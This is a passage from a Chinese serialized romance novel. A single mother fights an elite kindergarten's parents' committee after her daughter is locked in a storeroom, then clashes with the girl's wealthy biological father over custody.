喻梨瞬间了悟,杨夫人跟家委会那些炫包的家长们不同,她在炫耀自己已经在另一个档次,毕竟比起那些六七位数的包包,能帮未成年的女儿在城市最有名的艺术中心办一场私人画展,其中要耗费的人力、财力、物 力,绝非普通人能够办到。 “您真是良苦用心。”喻梨不知道怎么夸,只好随口道。 杨夫人大约听懂她口吻里的讽刺,微微眯了眯眼。 五分钟后,两人坐在艺术馆四楼的茶室。 杨夫人推给她一叠资料,透着一副居高临下的向下兼容感:“不是你那些所谓的证据威胁到我,而是你托茉莉妈妈的话打动我,同样是妈妈,倒是稍微能够共情你。这是南城几所不错的幼儿园,不会比BSS差,以你目前的条件,其实让女儿跟那里的孩子做朋友,可能会更轻松自在一些。”说完,杨夫人优雅的品了一口茶。 喻梨垂眸看一眼资料,手都没碰一下:“既然不错,推荐给您的侄女不是更好?” 杨夫人倒也没生气:“看来你已经很了解对手。你也的确像茉莉妈妈描述的性格,很尖锐,有棱角,不过社会上很多人的棱角最后都会被磨得光滑。资料你拿回去,认真考虑一下怎么样对你女儿是最好的,考虑清楚随时联系我,我帮你立刻办理转学手续。”她语调轻松,说得不急不缓。 喻梨脸色很差,已经很久没有人能仅靠聊天,就这样让她生气! 随即,杨夫人起身,优雅的:“我还有客人,就不送你。” 杨夫人下楼,跟来的客人握手:“陆董,欢迎欢迎。” 喻梨在楼上看了一眼,认得是BSS国际幼儿园的其中一位董事。 杨夫人应酬着,还微微抬头笑眯眯得望了她一眼。 周五,学校每周都有邀请部分家长到校的参观活动,有空闲的家长都可以报名。 类似的午餐、联合体游、跨班游戏,英语故事会等活动,目的是能让家长更了解幼儿园的教育活动,以及更好的参与孩子们的教育。 喻梨缺席很多次,这周难得有空,就报了名。 星星在幼儿园看到妈妈,既兴奋,又害羞,时不时会偷偷看一眼妈妈。 喻梨拿手机拍她参加活动的照片,怎么拍,怎么觉得可爱。 直到园长助理找过来,说是园长找她谈话。 喻梨想起跟园长上次的谈话内容,一边走,一边微微皱眉,想着这次该怎么应付。 出人意料,会议室里不止有园长,还有八九个以杨夫人为首的家委会成员在,以及被园长介绍,是bss董事会那边派过来了解情况的工作人员。 “喻小姐,家委会对您当初是否符合入园的条件提出质疑,我们今天下来,是针对家委会的问题,想了解一下,关于孩子爸爸的部分,当初您是否作假?” 杨夫人坐在园长旁边,依然是一身优雅得体的妆容,轻蔑得望向她。 家委会几个家长都将目光投掷到喻梨身上。 只有茉莉妈妈微微避开视线,以及首位的园长有些担忧得望着她。 喻梨冷笑:“这是我的私事吧,我凭什么要接受你们的审讯。至于家委会的质疑?你们不防先将我提交的关于家委会贪污的材料先给我们所有家长一个合理的交代,再来质疑我!” 工作人员愣了愣,清了清嗓子:“喻小姐,您提交的材料目前我们也正在调查审核中,今天我们过来,主要是想了解……” 他话还没说完,被喻梨打断,她抱着手臂,口气很冷:“需要我报警让警方配合你们调查取证吗,你们董事会的行动力是不是也太缓慢,我现在坐在这里,除了以家长的身份,还是以消费者的身份,不要拿那套‘正在审核调查’来搪塞我!” 工作人员跟杨夫人都被她说得脸色有些难看。 杨夫人终于开口,口吻依然淡定从容:“你提交的材料,我们家委会会给所有家长一个合理的交代。但……” “时间地点?”喻梨打断她,强势问道。 杨夫人被她问噎住。 还是一直没有发话的园长忽然说:“我看不如这样,家委会这边尽快解释清楚资金的去向问题,喻小姐,您提到报警的话,未免也太严重,无论怎样,作为园长,我依然希望内部的事情在我们内部解决,至于喻小姐,您个人的问题,的确会涉及到当初家长面试时,我们面试的部分工作人员是否有失职的嫌疑,喻小姐如果方便的话,稍后也请提交一份关于当初面试的材料,今天就暂时到这里,可以吗?” 这话说得不偏不倚,很有点和稀泥的意思,但杨夫人被喻梨当面噎了一次,自己也不干净,目前很难发作。 喻梨上次又跟园长谈过一次,对方态度和煦,其实并没有打算深究星星爸爸的问题,喻梨也就不再计较。 双方暂时休战。 走出会议室时,茉莉妈妈有些担忧得往她一眼,偷偷给她发消息:“明的不行还有暗的,你自己小心一点。” 杨夫人路过她,目光依然轻蔑鄙夷,用只有彼此听得见的声音说:“你们这个阶层的坚持我真的不太懂,可怜的还是孩子。”说完,有点可惜似的,摇了摇头。 喻梨握了握拳。 幼儿园已经放学。 很多家长在门口接孩子。 来接果果的许英给她打电话,问她:“星星有没有跟你在一起?” “没有,我在会议室这边,遇到点麻烦。怎么了?” 许英顿时着急:“星星不见了,我本来接完果果,顺便来接星星跟你一起,老师说室外活动结束,带孩子们一起回教室,点名的时候发现少了星星,还以为是你带走星星。” 喻梨心脏快跳出胸口:“我马上过来!” 星星不见了,小一班负责活动的老师们都快吓哭了。 查各处监控时才发现,星星在从活动室回来时就已经不见了。 活动室里没有人,但活动室旁边的小仓库里却传来孩子的哭声。 喻梨打开门,看见被关在小仓库里哭得上气不接下气的女儿,心一瞬间揪紧,抱住星星,心疼得不行。 小姑娘一个人不知道在小仓库里被关了多久,吓坏了,哭着喊妈妈,抱着喻梨再也不敢撒手。 喻梨心一阵一阵儿的疼,拍着女儿肉乎乎的背脊,不停安慰她:“没事了,星星,妈妈在这里,没事了。” 许英简直觉得不可理喻:“怎么会发生这种事,你们怎么带孩子参加活动的?孩子怎么会被关在小仓库里?” “对不起!真的对不起!活动结束的时候,有家长就顺便接走了孩子,我们在点名的时候,以为星星被接走,当时明明有个家长说,看见星星被接……”老师说到这里,愣住了。 “哪个家长?”许英简直怒不可遏。 喻梨已经明白了。 她轻轻拍打着女儿小小的背脊,脸色是从未有过的难看,简直濒临发疯的边缘。 许英似乎也明白了,愤怒的同时,又觉得匪夷所思,那些家长怎么敢! 老师看两人的脸色,不敢再继续往下说。 喻梨抱着星星,没有再搭理老师,跟许英一起走出幼儿园。 门口,杨夫人和几个家委会的成员还在,杨夫人牵着儿子的手站在马路对面,跟她们遥遥相望。 有隐约知道消息的同班家长们还等在门口,看见星星被找到,松口气:“孩子没事就好,幸好找到了。” “找到就好……” 有真心关心的,也有浑水摸鱼看笑话的。 喻梨看一眼对面,跟她遥遥相望的衣着得体的杨夫人。 杨夫人冲她微微一笑。 喻梨忽然将星星交给旁边的许英:“你先带她俩上车。” 许英劝她:“别冲动,咱们用法律武器解决。” 喻梨冷静说:“你先带她们俩上车。” 然后她过马路,走到杨夫人面前。 杨夫人依然笑眯眯的:“孩子找到就好,吓坏了吧,下次小心点儿。” 杨夫人周围还站着几个 同样牵着孩子的家长们,闻言,都微微避开喻梨的视线。 喻梨忽然抬手,一把拽住杨夫人打理得优雅妥帖的发髻,出手非常快,一句话不说,先是‘啪’‘啪’直接煽了对方两个耳刮子! 她出手太快了,又似乎太知道怎么揍人,杨夫人还没反应过来,又被直接踹了一脚,一个天旋地转,已经躺在地上,然后被喻梨直接骑在身上,猛煽耳光! 那个画面,简直就是初中生太妹聚众殴打的画面,BSS一群贵妇家长们,大约从来没这种见识,皆是微微瞪大眼睛,目瞪口呆。 杨夫人的保镖赶过来,想要搭救杨夫人,不知道哪里来冒出来的黑衣保镖拦住,整个人幼儿园门口乱成一锅粥。 等杨夫人的旁边的家长们手忙脚乱跑过来,拉开喻梨的时候,喻梨已经打够了,似乎手掌还煽得有些累,微微喘着粗气。 她头发在杨夫人的反抗中也被抓得乱糟糟的,整个人胸口的恶气散去,一转眼,发现不知道什么时候赶过来的沈砚,正站在人群外,桃花眼隐隐含笑。 第49章 第49章我爸爸也会给我骑高高。…… 杨夫人手忙脚乱被人搀扶起来,简直怒不可遏,她家小男孩大约也没经历过这种场面,在旁边撕心裂肺的哭。 杨夫人刚想吼保镖呢,发现自己带的一个保镖被不知道哪里来的两名黑衣人拦着,对方看起来更专业,自己的人显然不是对手。 杨夫人震惊得望向喻梨,她明明调查过,这个女人是小一班里家境最差的,据说有家不知名的直播公司,也是唯一有弱点的,毕竟是个单亲妈妈。 现在怎么回事儿,怎么会还有专业的保镖? 但她太愤怒了,捂着脸,还是冲自己人吼:“你们是死的吗?还不报警?” 幼儿园的保安们也出来了,一边将现场看热闹的家长劝离,一边将喻梨包围住,显然这种打人的事件性质恶劣,如果杨夫人坚持要报警,幼儿园也是应该配合。 喻梨没有走脱,她敢打人就做好了对方报警的准备:“报啊,赶紧报,今天谁串通的,把我女儿关仓库的,哪些家长联合的,一个都跑不掉!”说完,她朝家委会那群家长看了一眼,冷笑。 有家长心虚得不敢看她。 杨夫人气性又上来了,简直气得哆嗦,抬步过去,想打喻梨,被忽然出现的个子高挑的男人攥住手臂。 沈砚力道太大,杨夫人感到手臂一阵钻心的疼,她用红肿的脸望过去,以为是保镖之类的,但对方身上的气质跟保镖完全不沾边,冷峻矜贵,绝非普通等闲之辈,黑眸视线压下来冷冽沉重,是长年居于高位才有的让人胆寒的眼神。 沈砚放开她,将手机递给她,挡在的喻梨面前,命令式的语气里冒着森森寒意:“报警之前,先把电话接了。” 他气势实在惊人,杨夫人不敢不接,有些难堪又犹疑地将听筒放到耳边,听到丈夫声音的一瞬间,她差点儿想撒娇,将自己受的委屈全盘脱出,但是丈夫劈头盖脸先骂她‘是不是疯了’,紧接着又说了几句什么,杨夫人震惊得看一眼面前沈砚,气势已经完全颓丧下来,整个人差点儿站不稳,还好旁边有家长扶住她手臂。 挂完电话,杨夫人将电话还给沈砚,稍稍稳了稳心神,看一眼旁边还在帮她打电话报警的家长,忽然说:“别报了。” 对方正在跟警方描述经过,杨夫人心里又急又气,将那位家长的手机抢过来,“我说不报了。” 随即,杨夫人牵着哭哭啼啼的儿子快步往别墅区走,简直再在这里多呆一秒钟,就多丢一分脸,背影不可谓不狼狈。 家长们都有些面面相觑,第一次见杨夫人吃这样大的亏,居然还选择忍气吞声,但杨夫人放弃报警,幼儿园的保安们赶紧劝离周围的家长。 沈砚转过头,望着喻梨有些乱糟糟的头顶,心情沉重,口吻却温和:“剩下的,你可以交给我。” 喻梨抬眸跟他对视一眼,最终什么都没说,转身去到许英车上。 许英目睹了全程,开车回去时,隐约看到后面跟了两辆SUV,狐疑满满,但看喻梨抱着女儿沉默的模样,也不好多问。 星星显然吓坏了,一直抱着妈妈不肯撒娇,到家了也不放,喻梨不停地亲吻她,安抚她,又问她有没有哪里觉得疼? 星星摇摇头。 沈砚第一次跟她发信息【星星有没有哪里受伤?】 喻梨摩挲了一下手机,想了想,才回复他【没有】 【我想看看她,可以吗?】 沈砚的车停在喻梨小区门口,发出第二条信息时,也有几分忐忑。 果然,喻梨回复【她现在有点害怕,应该不想见到陌生人,抱歉】 沈砚原本就不抱希望,望了一眼她们小区【好的】 隔了会儿,他还是忍不住给她发一条【拍一张星星的照片给我,我想确认她没事】 那边隔很久没回复,沈砚几乎以为她不会答应他要求时,喻梨把星星窝在她怀里的照片发给他。 照片里,小姑娘已经躺在妈妈怀里睡着,眼睛周围还挂着泪痕,显然回家后又哭过一回,连睫毛都是湿湿的,哭得小脸皱巴巴,红彤彤…… 沈砚已经调查清楚全部潜心后果,光是看到小姑娘受委屈的模样,不敢想象小姑娘当时该有多害怕,心脏揪了紧,握着手机的手骨指都泛出白。 他脑中迅速过一遍整个情况,再抬眼,眸色沉沉,隐约的,有比喻梨更狠的劲儿。 涉事的家长他一个都不会放过!! 深夜,等哄完星星睡觉,喻梨给许英开门。 许英拧了两厅啤酒过来,两个人坐在客厅里喝啤酒。 “果果也睡了?”喻梨问她。 客厅里开足了暖气,两个人坐宽敞的地板上,中间是小圆茶几。 “早睡了。睡觉前,还跟我说,星星今天肯定很害怕,问我可不可以把他的零花钱拿来给妹妹买她喜欢的冰淇淋。”许英说。 喻梨笑笑。 许英又说:“我让我妈明早去寺庙里给星星求两张压惊符,你们北方可能不信这个,我们南方还是信的。” “帮我跟阿姨说声谢谢。”喻梨喝了口酒,情绪依然有些低落。 许英看她一眼:“今天你也吓坏了吧?” 喻梨抱着双腿,目光放在膝盖的位置,口吻低沉:“我有时候,不知道该怎么当一个合格的妈妈,你说,我怎么会让孩子被关进仓库里这种事情发生呢。” 同样是当妈妈的,许英太明白她,否则不会半夜来找她:“你别给自己太大压力,这不是你的错。” “你根本不知道,明明可以避免的,如果我一开始,直接找的就是杨董,而不是选择硬将材料递上去,或者我在处理这件事情上再圆滑点,星星可能就不会遭遇这些,是我自己太轴,因为不想跟他有一丁点儿关系,所以才让星星受到伤害。”口吻里,满满的是自责。 她其实可以借‘他’的势,她如果早点借‘势’直接找杨董,也许杨夫人不会做到这个地步。 许英想问那个‘他’指的是下午的男人吗?但不是时候。 拍拍她背脊,安慰:“你已经做得很好了,喻梨,别这么想,你已经尽你所能,提供给星星最好的了,你真的很棒。” 喻梨抬眼看她,眼睛有点红,又有些迷茫:“给她提供最好的就是对她好吗?我坚持给她上最好的幼儿园,却让她在幼儿园里受到伤害,为了赚更多的钱,却没有时间陪她,这样算是对她好吗?” 大概每个妈妈都会反复问自己,这样对孩子是不是最好的。 到底是不是一个好妈妈? 孩子受到伤害的时候,第一时间责怪自己为什么没有做得更好……. “就像我跟果果爸爸离婚,我也反复问自己,是不是个糟糕的妈妈,否则为什么不能为了孩子忍一忍?” “我也时常苛求自己做得不好,但这种苛求只会让 我更加焦灼,我既要平衡事业以求给果果提供更好的生活,又要平衡自己是否有空余的时间,可以给儿子更多的陪伴,这种苛求让我忘记,其实我也只是一个凡人。” “我跟其他人一样,每天只有24小时。我在做个好妈妈之前,得先是自己,我已经为了儿子,连偶尔跟你这样喝点啤酒小酌一杯都觉得奢侈难得,凭什么还要被指责不是个好妈妈?” “去他妈的好妈妈!” 喻梨被她逗得破涕为笑。 许英长开手臂,抱了抱她:“别想那么多,这次是意外,你为了星星,已经做得足够多,不要内耗自己。” 第二天,南城难得一大早出太阳,喻梨推掉手上工作,决定带星星去游乐场玩。 星星睡一觉,情绪已经好多了,听到妈妈说要带自己去游乐园,高兴地又蹦又跳。 许英有个案子要加班,喻梨便也带上了果果。 两个人骑完旋转木马,果果看到不远处有卖日式冰淇淋的地方,摸了摸自己的口袋,问喻梨:“喻阿姨,我可以给妹妹买冰淇淋吗?” 听到冰淇淋三个字,星星眼睛立刻亮起来,也抬头望着妈妈。 架不住两个小屁孩期待的目光,喻梨弯腰说:“可以,但是一人只能咬几口,冬天吃多了冰淇淋会闹肚子的,好吗?” “我……我吃五口。”果果觉得五就比较多了。 星星想了想,拿手比了比:“那我吃三口,比果果哥哥吃多一口。” 她数数还只会笨拙得从一到十,数字的大小都还不大明白。 遭到果果笑话:“笨蛋,五比三大。走,我带你去买。”说着牵起星星的手,往前面卖冰淇淋的地方跑。 喻梨跟在他俩后面,看见果果踮起脚尖,很珍惜的从自己的口袋里掏出一张一百的,递给卖冰淇淋的工作人员。 很快,两个小屁孩一人捧了一支甜筒回来。 喻梨将他俩带到草坪边的休息区域,午后的阳光晒得人懒洋洋的,果果跟星星很珍惜的吃着难得才能吃到冰淇淋,吃成两张小花猫。 沈砚处理完事情才赶过来。 他远远站着,拍的女儿第一张照片,就是小姑娘啃冰淇淋的照片,远远的,不太清晰,但是小女孩伸出舌头一点一点像小猫一样舔冰淇淋的样子,简直萌得人心都要化掉。 茉莉妈妈给喻梨发信息:【南南妈妈被揪出来了,虽然监控早就损坏,但她不知道是被吓到还是什么,已经承认是自己趁活动落单时将星星关在仓库里,并且咬定是杨夫人指使的】 【喻梨,我为以前的事跟你道歉,也觉得很羞愧,希望你看在两个孩子的份儿上,不要跟我计较】 【你想知道的任何消息,都可以问我】 喻梨没有回复。 她不知道沈砚怎么处理的,但经历过这件事,她已经开始思考,BSS这种风气的幼儿园,是否真的合适星星。 她第一次当妈妈,总以为像自己被爸爸当做公主一样捧大,因此竭尽全力给女儿也提供最好的,但是却让孩子受到伤害。 想到这里,喻梨忍不住看一眼吃成小花猫的星星。 却发现星星拿着甜筒,正有些呆呆地望着过路的人,小小的眼睛里,有满满的羡慕。 喻梨顺着女儿视线望过去,是一个男家长,正拉着女儿的手,轻轻松松得将女儿架在脖子上,骑高高。 果果也看了一眼,舔了一口甜筒说,不太在意:“我爸爸也会给我骑高高。” 星星就不看了,垂着小脑袋,不说话。 第50章 第50章她没有一点儿办法忍受,…… 喻梨就摸摸她头,转移话题:“吃好了吗宝贝,吃好了我们去玩丛林小火车好不好,也可以坐得很高的,嗯?” 星星点点头,把没吃完的冰淇淋递给妈妈,喻梨将剩下的全吃了。 从丛林小火车上下来,两个孩子困得不行,三四岁的小孩子都是说睡就睡的,喻梨只能一手牵着果果,一手抱着星星屁股,准备带两个小朋友返回车上。 果果太困了,打了好几个哈切,再也不能走了,抱着喻梨的腿,迷迷糊糊地呢喃:“妈妈,我困……” 喻梨第一次碰到这种局面,怀里的星星已经一秒入睡,放不下来,只能给果果加油打气:“果果,你坚持一下好不好,我们到车上睡。” 果果已经抱住他的腿,一步都懒得动,喻梨站在停车场中央,正有些手忙脚乱,偏头想看看有没有能帮忙的工作人员,沈砚走过来。 他弯腰帮她抱起果果,单手托住他屁股,很轻松的样子,随即问她:“你车停在哪里?” 喻梨只怔松了片刻,就抬腿往自己车上走。 沈砚跟上,怀里的小男孩很看起跟星星一样高,抱起来已经偏沉,他再看一眼走在前面,稳稳当当抱住星星的喻梨,心里滋味莫名。 喻梨打开车门,将星星放在儿童座椅上。 车上有两个儿童座椅,沈砚将小男孩放在另一边的儿童座椅,学着喻梨扣安全带的样子,帮果果扣好安全带。 沈砚看星星睡得沉沉的,有些担忧:“你这样开回去的话,安全吗,需不需要……” 喻梨抬头打断他,口吻很淡:“安全的。” 沈砚便识趣的不再开腔。 喻梨将车门关上,坐进驾驶座,后视镜里看见沈砚站在车身旁,穿一件羊绒大衣,肩膀挺括,腿很长,这会儿单手插兜,目光平稳的看她看车,像是要确认等她安全开走,才会挪步的架势。 喻梨深呼吸一次,推门下车。 沈砚看她忽然下来,有些意外。 喻梨直接问:“待会儿有空吗?” 沈砚愣了片刻,点头。 “那我们待会儿谈,等我把他们俩送回去。” “好。” 喻梨家距离幼儿园大约15分钟左右车程,位于南城市中心的位置,地段寸土寸金,周围高楼大厦、鳞次栉比,商业覆盖完全,非常方便。 沈砚坐在小区附近一家新式茶厅等喻梨。 楼下成片的银杏树还孤零零的挂着几片金黄的叶子,南城的冬天没有北城的荒芜,城市再冷,也总能看到隐约的绿意点缀,周围人来人往,脚步没有北城人匆忙,有区别与北城人快节奏的散漫与悠闲。 沈砚冷白手指抚着泛着暖意的茶杯,不时瞥一眼楼下来往人群,已经很久,他没有这样完全放空的,试图去等待一个人。 直到楼下小广场出现喻梨的影子。 她穿一件烟草色的大衣外套,内搭白色高领毛衣,卷发扎得很随意,露出饱满白皙的额头,淡妆,没有重逢那晚的浓妆艳抹,眉眼清丽,五官在阳光下,精致立体,面色平静,但眉眼总隐约的透出一丝淡淡的愁绪…… 沈砚看她双手插兜,垂着脑袋不知道在想什么,在楼下站了一会儿才进楼。 明明只有5分钟的路程,但沈砚却在20分钟后才看到她出现在茶厅,被侍者引进包厢。 茶水自己煮泡,沈砚行云流水的将煮好的果茶倒入白色瓷杯推给她:“我记得你以前喜欢果茶。” 喻梨看一眼,拿起来抿一口,转着小巧的瓷杯说:“其实已经不喜欢了,人的喜好总是变动,我以前真是肤浅,怎么会喜欢这种华而不实的口感。” 沈砚还握着添茶的竹柄,闻言手指微微捏紧,看一眼她喝过一口的杯子,抬眸平稳说:“不讨厌也可以的,没有一定要你很喜欢,有时候能喝就行。”说着,强势往她杯子里续了一点。 喻梨就再不去碰那个杯子了。 沈砚放下竹柄,想了想说:“家委会那边的人已经处理,你放心,星星……” “我会带星星转学。”喻梨打断他,“这学期结束以后,带她转到其他幼儿园。” 沈砚似乎有些吃惊,但很快反应过来:“也好,你想带星星回北城的话,我这边……” “沈总,你可能没有听明白,我带星星转学,不止是因为昨天的事,更重要的是,我希望你作为大伯,不要再插手我或者有关星星的任何事。包括今天的跟踪。”一字一句,喻梨说得清晰明了。 沈砚下颌肌肉,倏然间绷紧,幽深的桃花眼情绪复杂,口吻终究是染上一丝冷肃:“我跟星星的DNA亲子鉴定报告上写得很清楚,亲权概率超过99.99%,星星是我的女儿。”说到最后一句,他语气不禁染上一丝悲哀。 “你敢跟廷屹这样说吗?”喻梨目光笃定,“你敢到廷屹墓前说一模一样的话吗,或者都不用,仅仅是说给你二伯二伯母听。” 沈砚俊脸僵硬,深邃的桃花眼底,有什么东西,‘咚’得一声,沉了下去。 半响,他没有吭声。 喻梨微微敛眉,自嘲:“我不敢。所以,从来没有想过要带星星回北城。也从来没有回去看过他……”句末,她口吻低沉下来,再也无法维持平静。 隔了会儿她才说:“廷屹知道星星的存在,只是具体的……不知道。他走之前,已经准备好做孩子的爸爸,他很喜欢小孩子的。是我骗了他,无论有意还是无意,他到死,都不知道……所以星星只有一个爸爸,只能是廷屹。” 良久,沈砚喉头发堵地问道:“为什么要生下来?” 喻梨坦然道:“最开始,医生说我血型特殊,如果打掉孩子,可能没办法怀二胎,我犹犹豫豫,两次去医院都被人打断,再后来就是廷屹出事,那段时间太悲伤,什么事情都没办法思考,等反应过来,已经没办法做手术了,只能生下来。” “所以最开始你是想把孩子送人的对吗,你找了一组华人家庭领养她。”沈砚的一个字一个字的往外蹦,喉结剧烈滚动,额头又隐约的青筋。 喻梨沉默片刻,丝毫不意外沈砚已经查到她国外的事情,就像他可以不动声色,拿到星星的DNA做好亲子坚定。 “嗯。”她承认,残忍道,“因为是你的,光是想一想,就觉得没有勇气面对一个属于沈砚的女儿。” 沈砚闭了闭眼,额头青筋剧烈跳动,心脏又一遍一遍被人凌迟,像是回到那个雨夜的傍晚,她问他‘为什么死得不是他’。 再睁眼的时候,桃花眼底的红血丝清晰可见,但他微微勾唇一笑,手指上的青筋一根一根泛起,仿佛要冲破血管爆出,:“很好。”他说,“那你把她给我!” 喻梨握了一下手指:“不可能。” 沈砚笑了,俊脸维持一种诡异且渗人的平稳:“你可能误会了,喻梨,我没有跟你商量的意思,我要星星的监护权!” “你没有资格!”喻梨眉头紧皱,说得决绝。 对面那双桃花眼低垂,薄唇笑容冷酷:“很快你就知道我有没有资格!” 说完,沈砚起身,抬腿。 “沈砚!”喻梨叫住他,眸色终于透出一丝慌张,咬着唇看他。 沈砚视线将她整个人从头到下打量一遍,桃花眼笑得邪气,淡淡道:“你应该继续叫我沈总,或者沈砚哥,这样我拿走星星监护权的时候,才没有那么多顾虑。”说完,他看一眼她再也没碰过的那杯茶,眼神一冷,抬腿走了。 喻梨浑身有些发抖,觉得自己似乎又将这场谈崩了,但无论如何,她是星星妈妈之前,先是自己,她没有一点儿办法忍受,沈砚参与星星的抚养过程…… 沈砚大步回到车上。 俊脸在冬日傍晚的冷风里透着宛如冰雕的寒气,下颌线弧度冷硬,手指无意识地蜷起,他走得非常快,担心自己多呆一秒,会忍不住掐死她。 深邃的桃花眼底,有种窒息般的绝望又痛苦的幽冷。 司机看他脸色不佳,识趣地快速拉好车门,隔绝了周围行人好奇的目光。 投资部的下属的电话打进来,沈砚放在耳边接听。 “老板,bss的股份目前已经收购到百分之五左右,目前谈的两位股东都有兴趣放出股份,最迟一周之内,我们可以……” “不用了!”沈砚冷漠打断他,偏头望了一眼茶楼方向,声线又冷又黯,“安排北城那边的幼儿园。” 谈崩的喻梨有些沉默地回家。 孙阿姨正在陪星星和果果玩游戏,见她回来了,孙阿姨看一眼时间,说:“你陪这两个皮猴玩吧,果果在家吃吗,我去做饭。” 喻梨点头。 稍微晚一点,喻梨给星星洗完澡,哄完她睡觉,亲了亲孩子额头才的出儿童房。 孙阿姨正在拖地,看她有些疲惫地出来,握着拖把,有些欲言又止. 喻梨去冰箱里拿了一瓶苏打水,又递了一瓶给孙阿姨说:“公司最近活动有些新品种的水果零食,我整理好了一些给您,有空您记得带回去,我记得去年你家里人就搬到南琛来了吧。我看您从晚上开始,就像是有话跟我说?” 喻梨搬来南城两年,孙阿姨就陪了星星两年,好的阿姨不好找,喻梨忙碌的大部分时间,几乎都是孙阿姨陪伴星星,她把星星当亲孙女疼,大部分时间的监控里,都能看到孙阿姨耐心陪伴星星的画面,投桃报李,喻梨两年内给她涨了两次工资,年终还有奖金,公司有的福利待遇,她都会给孙阿姨准备一份。 孙阿姨说:“是,去年我儿子儿媳结婚,您还给包了红包,这不今年,媳妇就怀孕了。” 喻梨隐约有了不大好的预感,但还是勉强挤出微笑:“那恭喜您。” 孙阿姨有些讷讷的,她是知道喻梨难处的,两年时间,几乎没见过这位喻小姐有其他亲戚的往来,但儿子已经多次提及家里的难处,她拖了又拖,也是实在没办法。 “胎象不太好,在家里安胎,喻小姐,我儿子打电话让我回去照顾媳妇,家里确实没人手了……”说到这里,孙阿姨有些羞愧。 喻梨喝了一口苏打水,强制镇定:“应该的,您家里更重要,工作是次要的。不过您得给我一些时间,找新的阿姨。” “当然,这是肯定的。”孙阿姨急忙说,“我这边……也不急,等您找好了靠谱的阿姨我再走。” “嗯,谢谢。”喻梨点点头,拧着水朝书房走。 她走到一半忽然回头,很想说‘可不可以过一段时间’、‘不要是现在’、‘或者至少不要是今天’,事情已经很糟糕了,局面已经很艰难了,能不能不要再有让她觉得棘手的事情发生…… 但她一句话都没说,看着埋头继续勤勤恳恳打扫的孙阿姨,知道她并没有什么错,转身去了书房。【你现在阅读的是 】 50-60 第51章 第51章星星正骑在沈砚脖子上,…… 对于喻梨来说,无论是公司突然牵扯进假货风波,导致的资金断裂,还是BSS家委会施加给予的压力,或者是沈砚忽然要跟她抢孩子的监护权,都没有孙阿姨要辞职来得棘手,麻烦。 许英了解她状况,听说孙阿姨的事,也叹口气:“现在临近年关,不好找阿姨,看跟孙阿姨提提,能不能做完年前,年后再找。” “我也是这样想的,孙阿姨也答应了,但是她说最近儿媳妇状态很不好,她可能需要经常请假回去,这半个多月的薪水可以不要,最多能帮我照顾星星到年前。她话都说到这个地步,我也确实没办法了。” “实在不行,你把星星放我家,我妈很喜欢星星的,你先别着急,总会找到合适的阿姨。” “我只是担心星星要换幼儿园,又要接触新的阿姨,会不会闹情绪。” “你想给她换幼儿园?”听到这里,许英倒真的有些诧异,“事情不是解决了吗?” BSS最近在中产家长圈内热闹得不行,杨夫人被爆打的照片虽然被成功公关,没一个人敢发,但是这种事情,肯定是捂不住的,消息传得很快。 杨夫人被打,居然敢怒不敢言,事后居然夹着尾巴逃走,拼命捂消息,让家长们十分好奇打人者的来历,大家很快开始扒那天阻止杨夫人反击的男人,目睹过现场的人只知道是个气质不凡、一看就绝对不是普通人的男人,毕竟普通人谁带一看就是训练过的黑衣保镖。事情奇怪就奇怪在这里,家长们扒不出身份,只有几个家里跟北城有生意来往的,笑而不语道,杨夫人这次是碰到硬茬了,人家是名副其实的京圈大佬,为人低调惯了,没想到能被杨夫人招惹上,至于大佬更多的信息,知晓内情的几个家长似乎都怕惹麻烦,不敢透露半分,越发显得事情离奇…… 于此同时,BSS内部居然有家长为了逼退学生,不惜将孩子关进小仓库,这种名副其实的霸凌事件也被迅速传开,涉事的家长目前已经 为孩子办理退学手续,杨夫人作为罪魁祸首,自然没再坚持,以孩子腮腺炎为由,目前没有让儿子上学,听说已经在对接其他学校。 BSS国际幼儿园在国范围内,共有8所幼儿园,都是收费高昂注重教学品质且对接国际教育的幼儿园,受该事件影响,目前股价波动很厉害,有人趁机暗中收购散户股票,也私下联系多位股东,大有要入主BSS董事会的架势…… 这是许英东拼西凑得来的消息,虽然距离当事人最近,但许英极有分寸的没有问过喻梨关于那个男人的事,也对同样过来打听消息的家长搪塞,没有透露关于喻梨私生活的半分消息。 但喻梨忽然跟她提想要替星星转学,她是惊讶的。 “嗯。”喻梨承认,“我只是觉得,BSS的校园风气也许不适合星星,而且事情已经发生了,我不想星星在学校被当做异类,我打人的那一刻,已经做好替星星转学的准备。” 许英听她这样说,再想起自己因为跟孩子爸爸离婚,经常被那群游手好闲的太太们冷嘲热讽,自己为了儿子,还要同那些家长虚与委蛇,有的时候真的觉得疲累得很,但BSS的整个教学体系,确实是目前国内数一数二的,孩子们在确实得到了很好的培养…… “你考虑清楚就好。”许英从不对他人的选择过多置喙,叹口气说。 喻梨想了想,却忽然问她:“你们公司接手的关于抚养权争夺的官司多吗?” 许英愣了愣,瞬间反应过来,瞳孔微睁,斟酌着措辞才说:“你不是说星星爸爸早就去世?” 喻梨敛眉说:“仅从生物学上讲,我想你其实应该也好奇过,那天出现的男人,的确是星星……爸爸。”最后两个字,她说得有些艰难。 许英不知道可以怎么接话。 然后,喻梨抬眸,平静的面颊上,黑白分明的眼睛里透出一丝陈恳:“许英,我需要你的帮助。” 许英从未看她如此郑重的模样。 跟宏鑫资本的人第二次约谈,对方给出的条件很诱人,对比第一次谈崩的条件,做出极大让步,不仅答应注资3000万,掌握公司18%的股权,且除开公司重大决策,其他决策不参与,公司的自主权依然能掌握在喻梨跟沈欣瑜手中。 沈欣瑜十分意动,几乎已经当场想要跟对方签约。 喻梨说了几句场面话,跟沈欣瑜打了个眼色,沈欣瑜改口说,两个人再考虑一下。 对方的人一走,沈欣瑜不理解道:“你是觉得有什么问题吗,还是条件不满意,目前这3000万能解决我们的燃眉之急,公司的资金流已经坚持不下去,米易的第一笔赔偿款按理说应该昨天就打过来,却迟迟不到账。肯定是想拖着,宏鑫是我们唯一的选择。” “你不觉得他们前后态度转变太快,上次谈崩,他们开出的条件是注资2000万,持股25%,参与公司重大决策,现在一下子松口这么多,你不觉得奇怪?” “有什么好奇怪的,宏鑫确实很看好我们,也许是因为最近接触我们公司的人太多,他们也有危机感,所以不再狮子大开口。你是有什么我不知道的内幕消息?觉得宏鑫很危险?我了解到的宏鑫资本很是很正规的。” “不是内幕,只是……直觉。”喻梨有些犹豫道。 沈欣瑜松口气,又有些无语:“喻梨,你最近状态真的很差,你什么时候靠过直觉做决定,公司到这个地步,我们都明白,必须要有资本入驻了,宏鑫的开除的条件,是目前我们接触到的最优渥的,你不要杞人忧天。” 